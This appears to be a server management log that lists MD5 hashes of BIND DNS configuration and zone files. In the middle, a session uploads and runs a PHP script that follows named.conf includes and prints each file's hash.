MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:29:24: Establishing a connection
2026-05-06 10:29:24: 

PUT: /tmp/pkp949963

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:29:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp949963; rm /tmp/pkp949963'

2026-05-06 10:29:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
